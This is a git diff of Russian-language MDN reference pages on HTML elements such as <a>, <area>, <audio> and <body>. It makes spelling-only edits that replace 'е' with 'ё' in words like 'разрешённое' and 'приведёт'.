b/files/ru/web/html/cors_enabled_image/index.html index 5c36131100..1a2ccf817e 100644 --- a/files/ru/web/html/cors_enabled_image/index.html +++ b/files/ru/web/html/cors_enabled_image/index.html @@ -31,7 +31,7 @@ translation_of: Web/HTML/CORS_enabled_image <li>Вызов {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} на canvas</li> </ul> -<p>Попытка обратиться к ним, когда холст испорчен, приведет к возникновению ошибки безопасности <code>SecurityError</code>. Это защищает пользователей от доступа к личным данным с помощью изображений для извлечения информации с удаленных веб-сайтов без разрешения.</p> +<p>Попытка обратиться к ним, когда холст испорчен, приведёт к возникновению ошибки безопасности <code>SecurityError</code>. Это защищает пользователей от доступа к личным данным с помощью изображений для извлечения информации с удалённых веб-сайтов без разрешения.</p> <h2 id="Хранение_изображений_из_внешнего_источника">Хранение изображений из внешнего источника</h2> @@ -58,7 +58,7 @@ translation_of: Web/HTML/CORS_enabled_image <p>Теперь, когда сервер настроен так, чтобы разрешить извлечение изображений из разных источников, мы можем написать код, который позволяет пользователю сохранять их в <a href="/ru/docs/Web/API/Web_Storage_API">локальном хранилище</a>, как если бы они обслуживались из того же домена, на котором выполняется код.</p> -<p>Ключевым моментом является использование атрибута {{htmlattrxref("crossorigin")}} путем установки {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}} в элементе {{domxref("HTMLImageElement")}} , на который будет загружено изображение. Это даёт браузеру команду на запрос доступа к другому источнику при попытке загрузить данные изображения.</p> +<p>Ключевым моментом является использование атрибута {{htmlattrxref("crossorigin")}} путём установки {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}} в элементе {{domxref("HTMLImageElement")}} , на который будет загружено изображение. Это даёт браузеру команду на запрос доступа к другому источнику при попытке загрузить данные изображения.</p> <h4 id="Запуск_загрузки">Запуск загрузки</h4> diff --git a/files/ru/web/html/element/a/index.html b/files/ru/web/html/element/a/index.html index dff65ceb59..23d1ab1ea8 100644 --- a/files/ru/web/html/element/a/index.html +++ b/files/ru/web/html/element/a/index.html @@ -211,7 +211,7 @@ translation_of: Web/HTML/Element/a <dt>{{htmlattrdef("methods")}}<strong style="font-weight: 700; line-height: 1.5;"> </strong>{{Non-standard_inline}}</dt> <dd>Значение этого атрибута предоставляет информацию о функциях, которые могут быть выполнены на объекте. Обычно значения даны HTTP-протоколом, когда он использован, но может (для похожих целей, как для атрибута <code>title</code>) быть полезным для включения контрольной информации в ссылке. Например, браузер может выбрать другой тип рендеринга для ссылки как функцию определённых методов; что-то, что может быть найдено, может иметь другую иконку, или внешняя ссылка может получить индикатор перехода с текущего сайта. Этот элемент не понимается или не поддерживается полностью даже браузером Internet Explorer 4, который определил этот атрибут. <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534168(VS.85).aspx">Значения <code>methods</code> (MSDN)</a>.</dd> <dt>{{htmlattrdef("urn")}}<strong style="font-size: 14px; font-weight: 700; line-height: 1.5;"> </strong>{{Non-standard_inline}}</dt> - <dd>Этот атрибут, предложенный Micosoft, определяет отношения уникального названия ресурса (URN) с ссылкой. Хотя он основан на стандартах работы нескольких лет назад, значение URN всё еще не определено полностью, поэтому этот атрибут не имеет значения. <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534710(VS.85).aspx">Значения <font face="Consolas, Liberation Mono, Courier, monospace">urn</font> (MSDN)</a>.</dd> + <dd>Этот атрибут, предложенный Micosoft, определяет отношения уникального названия ресурса (URN) с ссылкой. Хотя он основан на стандартах работы нескольких лет назад, значение URN всё ещё не определено полностью, поэтому этот атрибут не имеет значения. <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534710(VS.85).aspx">Значения <font face="Consolas, Liberation Mono, Courier, monospace">urn</font> (MSDN)</a>.</dd> </dl> <h2 id="Example" name="Example">Примеры</h2> @@ -308,7 +308,7 @@ document.body.appendChild(link); <h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам pull request.</div> <p>{{Compat("html.elements.a")}}</p> @@ -379,7 +379,7 @@ document.body.appendChild(link); <p>HTML 3.2 включает в себя только <code>name</code>, <code>href</code>, <code>rel</code>, <code>rev</code> и <code>title</code>.</p> -<p>Атрибут <code>target</code> не работает в браузерах, не поддерживающих фреймы, таких как Netscape 1 generation. Кроме того, <code>target</code> не допускается в «строгих» вариантах <a href="/en/XHTML" title="en/XHTML">XHTML</a>, но разрешен в формах frameset или «переходных» формах.</p> +<p>Атрибут <code>target</code> не работает в браузерах, не поддерживающих фреймы, таких как Netscape 1 generation. Кроме того, <code>target</code> не допускается в «строгих» вариантах <a href="/en/XHTML" title="en/XHTML">XHTML</a>, но разрешён в формах frameset или «переходных» формах.</p> <h3 id="Рекомендации_по_JavaScript">Рекомендации по JavaScript</h3> diff --git a/files/ru/web/html/element/abbr/index.html b/files/ru/web/html/element/abbr/index.html index bafacbbc6e..0baa39703f 100644 --- a/files/ru/web/html/element/abbr/index.html +++ b/files/ru/web/html/element/abbr/index.html @@ -182,5 +182,5 @@ translation_of: Web/HTML/Element/abbr <ul> <li><a href="/ru/Learn/HTML/Element/abbr">Использование элемента <abbr></a></li> <li>Другие <a href="/ru/docs/HTML/Text_level_semantics_conveying_elements" title="HTML/Text level semantics conveying elements">элементы, являющиеся семантически текстовыми</a>: {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li> - <li>Устаревший элемент {{HTMLElement("acronym")}}, который был заменен элементом <code><abbr></code>.</li> + <li>Устаревший элемент {{HTMLElement("acronym")}}, который был заменён элементом <code><abbr></code>.</li> </ul> diff --git a/files/ru/web/html/element/acronym/index.html b/files/ru/web/html/element/acronym/index.html index 2f9af89af9..369030b776 100644 --- a/files/ru/web/html/element/acronym/index.html +++ b/files/ru/web/html/element/acronym/index.html @@ -36,7 +36,7 @@ translation_of: Web/HTML/Element/acronym <ul> <li>Некоторые, например, Internet Explorer, не стилизуют его, и он выглядит неотличимо от обычного {{HTMLElement("span")}}.</li> - <li>Opera, Firefox и некоторые други браузеры подчеркивают его точками.</li> + <li>Opera, Firefox и некоторые други браузеры подчёркивают его точками.</li> <li>Малая часть браузеров помимо подчёркивания точками также меняют начертание текста на капитель (small caps). Во избежание такого поведения, как вариант, необходимо добавить {{cssxref('font-variant')}}<code>: none</code> в CSS стиль.</li> </ul> diff --git a/files/ru/web/html/element/address/index.html b/files/ru/web/html/element/address/index.html index 2378f1c42d..db0b3f3713 100644 --- a/files/ru/web/html/element/address/index.html +++ b/files/ru/web/html/element/address/index.html @@ -11,7 +11,7 @@ translation_of: Web/HTML/Element/address --- <p id="Summary">{{HTMLRef}}</p> -<p><strong>HTML- тег <code><address></code> </strong>задает контактные данные для ближайшего родительского {{HTMLElement("article")}} или {{HTMLElement("body")}} ; В последнем случае применяется ко всему документу, визуально выделяется курсивом.</p> +<p><strong>HTML- тег <code><address></code> </strong>задаёт контактные данные для ближайшего родительского {{HTMLElement("article")}} или {{HTMLElement("body")}} ; В последнем случае применяется ко всему документу, визуально выделяется курсивом.</p> <div class="note"> <p><strong>Примечание:</strong></p> @@ -70,7 +70,7 @@ translation_of: Web/HTML/Element/address <p><img alt="Image:HTML-address.png" src="/@api/deki/files/238/=HTML-address.png"></p> -<p>Помимо элемента {{HTMLElement("address")}}, с такими же стандартными стилями как и он текст отображают {{HTMLElement("i")}} или {{HTMLElement("em")}} элементы, более правильно использовать его, когда имеете дело с контактной информацией, так как он передает дополнительную семантическую информацию.</p> +<p>Помимо элемента {{HTMLElement("address")}}, с такими же стандартными стилями как и он текст отображают {{HTMLElement("i")}} или {{HTMLElement("em")}} элементы, более правильно использовать его, когда имеете дело с контактной информацией, так как он передаёт дополнительную семантическую информацию.</p> <h2 id="Specifications" name="Specifications">Спецификации</h2> diff --git a/files/ru/web/html/element/applet/index.html b/files/ru/web/html/element/applet/index.html index 8ff6d23951..2051209ae0 100644 --- a/files/ru/web/html/element/applet/index.html +++ b/files/ru/web/html/element/applet/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/applet <p>Элемент HTML апплет (<applet>) определяет включение апплета java.</p> <div class="note"> -<p>Примечание: {{htmlelement("applet")}} элемент был удален в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1279218">Gecko 56</a> и <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=470301">Chrome</a> в конце 2015 года. Удаление рассматривается в <a href="https://bugs.webkit.org/show_bug.cgi?id=157926">WebKit</a> и <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/">Edge</a>.</p> +<p>Примечание: {{htmlelement("applet")}} элемент был удалён в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1279218">Gecko 56</a> и <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=470301">Chrome</a> в конце 2015 года. Удаление рассматривается в <a href="https://bugs.webkit.org/show_bug.cgi?id=157926">WebKit</a> и <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11946645/">Edge</a>.</p> </div> <h2 id="Attributes" name="Attributes">Атрибуты</h2> diff --git a/files/ru/web/html/element/area/index.html b/files/ru/web/html/element/area/index.html index c161b623e6..052718aaaa 100644 --- a/files/ru/web/html/element/area/index.html +++ b/files/ru/web/html/element/area/index.html @@ -3,7 +3,7 @@ title: <area> slug: Web/HTML/Element/area translation_of: Web/HTML/Element/area --- -<div><strong>HTML <code><area></code> элемент </strong>определяет активную область на изображении и, при желании, связывает ее с {{Glossary("Hyperlink", "гипертекстовой ссылкой")}}. Этот элемент используется только внутри элемента {{HTMLElement("map")}}.</div> +<div><strong>HTML <code><area></code> элемент </strong>определяет активную область на изображении и, при желании, связывает её с {{Glossary("Hyperlink", "гипертекстовой ссылкой")}}. Этот элемент используется только внутри элемента {{HTMLElement("map")}}.</div> <div>{{EmbedInteractiveExample("pages/tabbed/area.html", "tabbed-taller")}}</div> @@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/area <td><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Content_categories#Flow_content" rel="nofollow">Элементы потока</a>, <a href="ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразового контента</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Нет, это {{Glossary("пустой элемент")}}.</td> </tr> <tr> @@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/area </td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Нет</td> </tr> <tr> @@ -53,12 +53,12 @@ translation_of: Web/HTML/Element/area <dl> <dt>{{htmlattrdef("alt")}}</dt> - <dd>С помощью этого атрибута задается альтернативный текст, описывающий изображение, если оно не доступно. Он должен быть сформулирован так, чтобы предоставить пользователю тот же выбор, что и изображение, которое отрисуется без альтернативного текста. В HTML4 данный атрибут обязателен, но так же может содержать и пустую строку (""). В HTML5 этот атрибут обязателен только при наличии атрибута <strong>href</strong>.</dd> + <dd>С помощью этого атрибута задаётся альтернативный текст, описывающий изображение, если оно не доступно. Он должен быть сформулирован так, чтобы предоставить пользователю тот же выбор, что и изображение, которое отрисуется без альтернативного текста. В HTML4 данный атрибут обязателен, но так же может содержать и пустую строку (""). В HTML5 этот атрибут обязателен только при наличии атрибута <strong>href</strong>.</dd> </dl> <dl> <dt>{{htmlattrdef("coords")}}</dt> - <dd>Задает значения координат для активной области. Значение и количество значений зависят от значения указанного для атрибута <strong>shape</strong>. Для <code>rect</code> или прямоугольника задаются две пары значений x,y <strong>coords</strong>: лево, верх, право и низ. Для <code>circle</code>, значения <code>x,y,r</code> где <code>x,y</code> координаты центра круга, а <code>r</code> радиус. Для <code>poly</code> или многоугольника, значения задаются парой x и y для каждой вершины многоугольника: <code>x1,y1,x2,y2,x3,y3,</code> и т.д. В HTML4 значения задаются в пикселях или процентах, когда добавлен знак (%); в HTML5, значения — величины в пикселях.</dd> + <dd>Задаёт значения координат для активной области. Значение и количество значений зависят от значения указанного для атрибута <strong>shape</strong>. Для <code>rect</code> или прямоугольника задаются две пары значений x,y <strong>coords</strong>: лево, верх, право и низ. Для <code>circle</code>, значения <code>x,y,r</code> где <code>x,y</code> координаты центра круга, а <code>r</code> радиус. Для <code>poly</code> или многоугольника, значения задаются парой x и y для каждой вершины многоугольника: <code>x1,y1,x2,y2,x3,y3,</code> и т.д. В HTML4 значения задаются в пикселях или процентах, когда добавлен знак (%); в HTML5, значения — величины в пикселях.</dd> <dt>{{htmlattrdef("download")}} {{HTMLVersionInline("5")}}</dt> <dd>Этот атрибут, если он добавлен, указывает, что ссылка используется для скачивания файла. Смотри {{HTMLElement("a")}} для полного описания атрибута {{htmlattrxref("download", "a")}}.</dd> </dl> diff --git a/files/ru/web/html/element/article/index.html b/files/ru/web/html/element/article/index.html index 88bb5e5a48..b77f6dec57 100644 --- a/files/ru/web/html/element/article/index.html +++ b/files/ru/web/html/element/article/index.html @@ -29,7 +29,7 @@ translation_of: Web/HTML/Element/article <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Секционный_контент">секционный контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>.</td> </tr> <tr> @@ -37,11 +37,11 @@ translation_of: Web/HTML/Element/article <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code><article></code> не должен быть потомком элемента {{HTMLElement("address")}}.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("main")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}</td> </tr> <tr> @@ -58,7 +58,7 @@ translation_of: Web/HTML/Element/article <h2 id="Примечание">Примечание</h2> <ul> - <li>Каждый элемент <code><article></code> должен быть идентифицирован, обычно путем добавления заголовка (элементы <a href="/ru/docs/Web/HTML/Element/Heading_Elements"><code><h1></code>-<code><h6></code></a>) в качестве дочернего элемента.</li> + <li>Каждый элемент <code><article></code> должен быть идентифицирован, обычно путём добавления заголовка (элементы <a href="/ru/docs/Web/HTML/Element/Heading_Elements"><code><h1></code>-<code><h6></code></a>) в качестве дочернего элемента.</li> <li>Когда элемент <code><article></code> является вложенным, внутренний элемент представляет собой контент связанный с внешним элементом. Например, комментарии к публикации в блоге могут быть элементами <code><article></code>, вложенными в другой <code><article></code>, являющийся публикацией в блоге.</li> <li>Информация об авторе в элементе <code><article></code> может быть представлена через элемент {{HTMLElement("address")}}, но это не применимо к вложенным элементам <code><article></code>.</li> <li>Дата и время публикации в элементе <code><article></code> могут быть описаны с помощью атрибута {{htmlattrxref("datetime", "time")}} элемента {{HTMLElement("time")}}. <em>Обратите внимание, что атрибут {{htmlattrxref("pubdate", "time")}} элемента {{HTMLElement("time")}} больше не является частью стандарта {{glossary("W3C")}} {{glossary("HTML5")}}.</em></li> diff --git a/files/ru/web/html/element/aside/index.html b/files/ru/web/html/element/aside/index.html index 20c210ff79..02cc80bdeb 100644 --- a/files/ru/web/html/element/aside/index.html +++ b/files/ru/web/html/element/aside/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/aside --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary"><strong>HTML-элемент <code><aside></code></strong> представляет собой часть документа, чье содержимое только косвенно связанно с основным содержимым документа.</span> Чаще всего представлен в виде боковой панели, сносок или меток.</p> +<p><span class="seoSummary"><strong>HTML-элемент <code><aside></code></strong> представляет собой часть документа, чьё содержимое только косвенно связанно с основным содержимым документа.</span> Чаще всего представлен в виде боковой панели, сносок или меток.</p> <div>{{EmbedInteractiveExample("pages/tabbed/aside.html", "tabbed-standard")}}</div> @@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/aside <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Секционный_контент">секционный контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>.</td> </tr> <tr> @@ -36,11 +36,11 @@ translation_of: Web/HTML/Element/aside <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code><aside></code> не должен быть потомком элемента {{HTMLElement("address")}}.</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>{{ARIARole("feed")}}, {{ARIARole("note")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}, {{ARIARole("search")}}</td> </tr> <tr> diff --git a/files/ru/web/html/element/audio/index.html b/files/ru/web/html/element/audio/index.html index aae3df398d..b9ab8f0521 100644 --- a/files/ru/web/html/element/audio/index.html +++ b/files/ru/web/html/element/audio/index.html @@ -27,7 +27,7 @@ translation_of: Web/HTML/Element/audio -<p>Приведенный выше пример показывает простое использование элемента <code><audio></code>. По аналогии с элементом {{htmlelement("img")}} мы добавляем путь к мультимедиа, которое мы хотим встроить, в атрибут <code>src</code>. Мы можем добавить другие атрибуты, чтобы указать сведения, такие как автовоспроизведение и повтор, хотим ли мы отображать стандартные элементы управления звуком браузера и т.д.</p> +<p>Приведённый выше пример показывает простое использование элемента <code><audio></code>. По аналогии с элементом {{htmlelement("img")}} мы добавляем путь к мультимедиа, которое мы хотим встроить, в атрибут <code>src</code>. Мы можем добавить другие атрибуты, чтобы указать сведения, такие как автовоспроизведение и повтор, хотим ли мы отображать стандартные элементы управления звуком браузера и т.д.</p> <p>Контент между открывающим и закрывающим тегами элемента <code><audio></code> (в примере выше) отображается в браузерах, которые не поддерживают этот элемент.</p> @@ -57,8 +57,8 @@ translation_of: Web/HTML/Element/audio <dl> <dt>{{htmlattrdef("autoplay")}}</dt> - <dd>Атрибут логического типа. Если он указан, аудио начнет автоматически воспроизводиться, как только сможет это сделать, не дожидаясь завершения загрузки всего файла. - <div class="note"><strong>Заметка</strong>: Сайты, которые автоматически проигрывают аудио (или видео с аудиодорожкой) могут быть неприятными для пользователей, поэтому этого следует по возможности избегать. Если вам необходимо предлагать функцию автовоспроизведения, то вы должны сделать ее Opt-in (вид подписки), то есть когда пользователь специально (сам) включил ее. Тем не менее, это может быть полезно, при создании элементов мультимедиа, чей источник будет установлен позднее под контролем пользователя.</div> + <dd>Атрибут логического типа. Если он указан, аудио начнёт автоматически воспроизводиться, как только сможет это сделать, не дожидаясь завершения загрузки всего файла. + <div class="note"><strong>Заметка</strong>: Сайты, которые автоматически проигрывают аудио (или видео с аудиодорожкой) могут быть неприятными для пользователей, поэтому этого следует по возможности избегать. Если вам необходимо предлагать функцию автовоспроизведения, то вы должны сделать её Opt-in (вид подписки), то есть когда пользователь специально (сам) включил её. Тем не менее, это может быть полезно, при создании элементов мультимедиа, чей источник будет установлен позднее под контролем пользователя.</div> </dd> <dt>{{htmlattrdef("controls")}}</dt> <dd>Если этот атрибут присутствует, браузер предложит элементы управления, позволяющие пользователю управлять воспроизведением аудио, в том числе громкостью, перемоткой и паузой.</dd> @@ -76,10 +76,10 @@ translation_of: Web/HTML/Element/audio <dt>{{htmlattrdef("loop")}}</dt> <dd>Атрибут логического типа. Если он указан, проигрыватель будет автоматически возвращаться в начало при достижении конца аудио.</dd> <dt>{{htmlattrdef("muted")}}</dt> - <dd>Атрибут логического типа, который указывает, будет ли звук изначально отключен. Значением по умолчанию является <code>false</code>.</dd> + <dd>Атрибут логического типа, который указывает, будет ли звук изначально отключён. Значением по умолчанию является <code>false</code>.</dd> <dt>{{htmlattrdef("preload")}}</dt> <dd> - <p>Этот атрибут предназначен для того, чтобы указать браузеру, что, по мнению автора, приведет к лучшему взаимодействию с пользователем. Он может иметь одно из следующих значений:</p> + <p>Этот атрибут предназначен для того, чтобы указать браузеру, что, по мнению автора, приведёт к лучшему взаимодействию с пользователем. Он может иметь одно из следующих значений:</p> <ul> <li><code>none</code>: указывает, что аудио не должно предварительно загружаться;</li> @@ -144,7 +144,7 @@ translation_of: Web/HTML/Element/audio <h3 id="Элемент_<audio>_с_множеством_элементов_<source>">Элемент <audio> с множеством элементов <source></h3> -<p>Этот пример включает множество элементов <code><source></code>. Браузер попытается загрузить источник из первого элемента <code><source></code> (Opus), если он не в состоянии воспроизвести его, тогда он перейдет ко второму (Vorbis) и, наконец, к третьему (MP3), если все предыдущие по каким-либо причинам не могут быть воспроизведены браузером:</p> +<p>Этот пример включает множество элементов <code><source></code>. Браузер попытается загрузить источник из первого элемента <code><source></code> (Opus), если он не в состоянии воспроизвести его, тогда он перейдёт ко второму (Vorbis) и, наконец, к третьему (MP3), если все предыдущие по каким-либо причинам не могут быть воспроизведены браузером:</p> <pre class="brush: html"><audio controls=""> <source src="foo.opus" type="audio/ogg; codecs=opus"/> @@ -191,7 +191,7 @@ Welcome to the Time Keeper's podcast! In this episode we're discussing which Swi <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Встроенный_контент">встроенный контент</a>. Если элемент имеет атрибут <code>controls</code>, он так же принадлежит к категориям <a href="/ru/docs/Web/Guide/HTML/Content_categories#Интерактивный_контент">интерактивного</a> и <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явного</a> контента.</td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Если элемент имеет атрибут <code>src</code>: ноль или более элементов {{HTMLElement("track")}}, за которыми следует <a href="/ru/docs/Web/Guide/HTML/Content_categories#Прозрачная_модель_контента">прозрачный контентет</a>, который не содержит элементов <code><audio></code> или {{HTMLElement("video")}}.<br> Иначе: ноль или более элементов {{HTMLElement("source")}}, за которыми следует ноль или более элементов {{HTMLElement("track")}}, за которыми следует <a href="/ru/docs/Web/Guide/HTML/Content_categories#Прозрачная_модель_контента">прозрачный контент</a>, который не содержит элементов <code><audio></code> или {{HTMLElement("video")}}.</td> </tr> @@ -200,7 +200,7 @@ Welcome to the Time Keeper's podcast! In this episode we're discussing which Swi <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, который разрешает встроенный контент в качестве содержимого.</td> </tr> <tr> diff --git a/files/ru/web/html/element/b/index.html b/files/ru/web/html/element/b/index.html index 89cdf625ec..fedf3d4031 100644 --- a/files/ru/web/html/element/b/index.html +++ b/files/ru/web/html/element/b/index.html @@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/b <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, palpable content.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Phrasing_content">Phrasing content</a>.</td> </tr> <tr> diff --git a/files/ru/web/html/element/bdi/index.html b/files/ru/web/html/element/bdi/index.html index daf089fa86..ef7c7aa44b 100644 --- a/files/ru/web/html/element/bdi/index.html +++ b/files/ru/web/html/element/bdi/index.html @@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/bdi <p>Этот элемент полезен при встраивании текста с неизвестным направлением (например, из базы данных) внутрь текста с заданным направлением.</p> -<p class="note">Хотя тот же эффект может быть достигнут применением CSS правила {{cssxref("unicode-bidi")}}<code>: isolate</code> к элементу {{HTMLElement("span")}} или другому элементу форматирования текста, семантическое значение передается только с помощью элемента <code><bdi></code>. Тем более, что браузеры могут игнорировать стили. В этом случае, текст будет отображен корректно при использовании HTML элемента, и некорректно при использовании только CSS стилей.</p> +<p class="note">Хотя тот же эффект может быть достигнут применением CSS правила {{cssxref("unicode-bidi")}}<code>: isolate</code> к элементу {{HTMLElement("span")}} или другому элементу форматирования текста, семантическое значение передаётся только с помощью элемента <code><bdi></code>. Тем более, что браузеры могут игнорировать стили. В этом случае, текст будет отображён корректно при использовании HTML элемента, и некорректно при использовании только CSS стилей.</p> <table class="properties"> <tbody> diff --git a/files/ru/web/html/element/blockquote/index.html b/files/ru/web/html/element/blockquote/index.html index d8a3b73dc2..d6dfdd2d18 100644 --- a/files/ru/web/html/element/blockquote/index.html +++ b/files/ru/web/html/element/blockquote/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/blockquote --- <h2 id="Описание">Описание</h2> -<p><strong>HTML-элемент <code><blockquote></code> </strong>(от англ. <em>Block Quotation</em>) указывает на то, что заключенный в нем текст является развернутой цитатой. Обычно он (текст) визуально выделяется наклонным (смотри <a href="/en-US/docs/HTML/Element/blockquote#Notes" title="HTML/Element/blockquote#Notes">Примечание</a>, где говорится о том, как это изменить). URI на источник цитаты можно указать в атрибуте <strong>cite</strong>, тогда как текстовое представление источника может быть задано элементом {{HTMLElement("cite")}}.</p> +<p><strong>HTML-элемент <code><blockquote></code> </strong>(от англ. <em>Block Quotation</em>) указывает на то, что заключённый в нем текст является развёрнутой цитатой. Обычно он (текст) визуально выделяется наклонным (смотри <a href="/en-US/docs/HTML/Element/blockquote#Notes" title="HTML/Element/blockquote#Notes">Примечание</a>, где говорится о том, как это изменить). URI на источник цитаты можно указать в атрибуте <strong>cite</strong>, тогда как текстовое представление источника может быть задано элементом {{HTMLElement("cite")}}.</p> <div>{{EmbedInteractiveExample("pages/tabbed/blockquote.html","tabbed-standard")}}</div> diff --git a/files/ru/web/html/element/body/index.html b/files/ru/web/html/element/body/index.html index 8c2cacdfe0..f18863b449 100644 --- a/files/ru/web/html/element/body/index.html +++ b/files/ru/web/html/element/body/index.html @@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/body <td><a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document#Корни_задания_разделов">Секционный корень</a></td> </tr> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>.</td> </tr> <tr> @@ -32,11 +32,11 @@ translation_of: Web/HTML/Element/body <td>Открывающий тег может быть пропущен, если первое, что находится внутри него, не является пробелом, комментарием, элементом {{HTMLElement("script")}} или элементом {{HTMLElement("style")}}. Закрывающий тег может быть пропущен если элемент <code><body></code> содержит контент или имеет открывающий тег, и за ним сразу не следует комментарий.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Этот элемент должен быть вторым в элементе {{HTMLElement("html")}}</td> </tr> <tr> - <th scope="row">Разрешенные роли ARIA</th> + <th scope="row">Разрешённые роли ARIA</th> <td>Отсутствуют</td> </tr> <tr> @@ -95,7 +95,7 @@ translation_of: Web/HTML/Element/body <dt>{{htmlattrdef("onpopstate")}}</dt> <dd>Функция для вызова, когда пользователь осуществил управление историей сеанса.</dd> <dt>{{htmlattrdef("onredo")}}</dt> - <dd>Функция для вызова, когда произошло продвижение пользователя вперед по истории транзакций (например, обновление страницы).</dd> + <dd>Функция для вызова, когда произошло продвижение пользователя вперёд по истории транзакций (например, обновление страницы).</dd> <dt>{{htmlattrdef("onresize")}}</dt> <dd>Функция для вызова, когда размер документа был изменен.</dd> <dt>{{htmlattrdef("onstorage")}}</dt> @@ -111,7 +111,7 @@ translation_of: Web/HTML/Element/body <dt>{{htmlattrdef("topmargin")}} {{obsolete_inline}}</dt> <dd>Отступ от верхнего края элемента <code><body></code>. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("margin-top")}}.</em></dd> <dt>{{htmlattrdef("vlink")}} {{obsolete_inline}}</dt> - 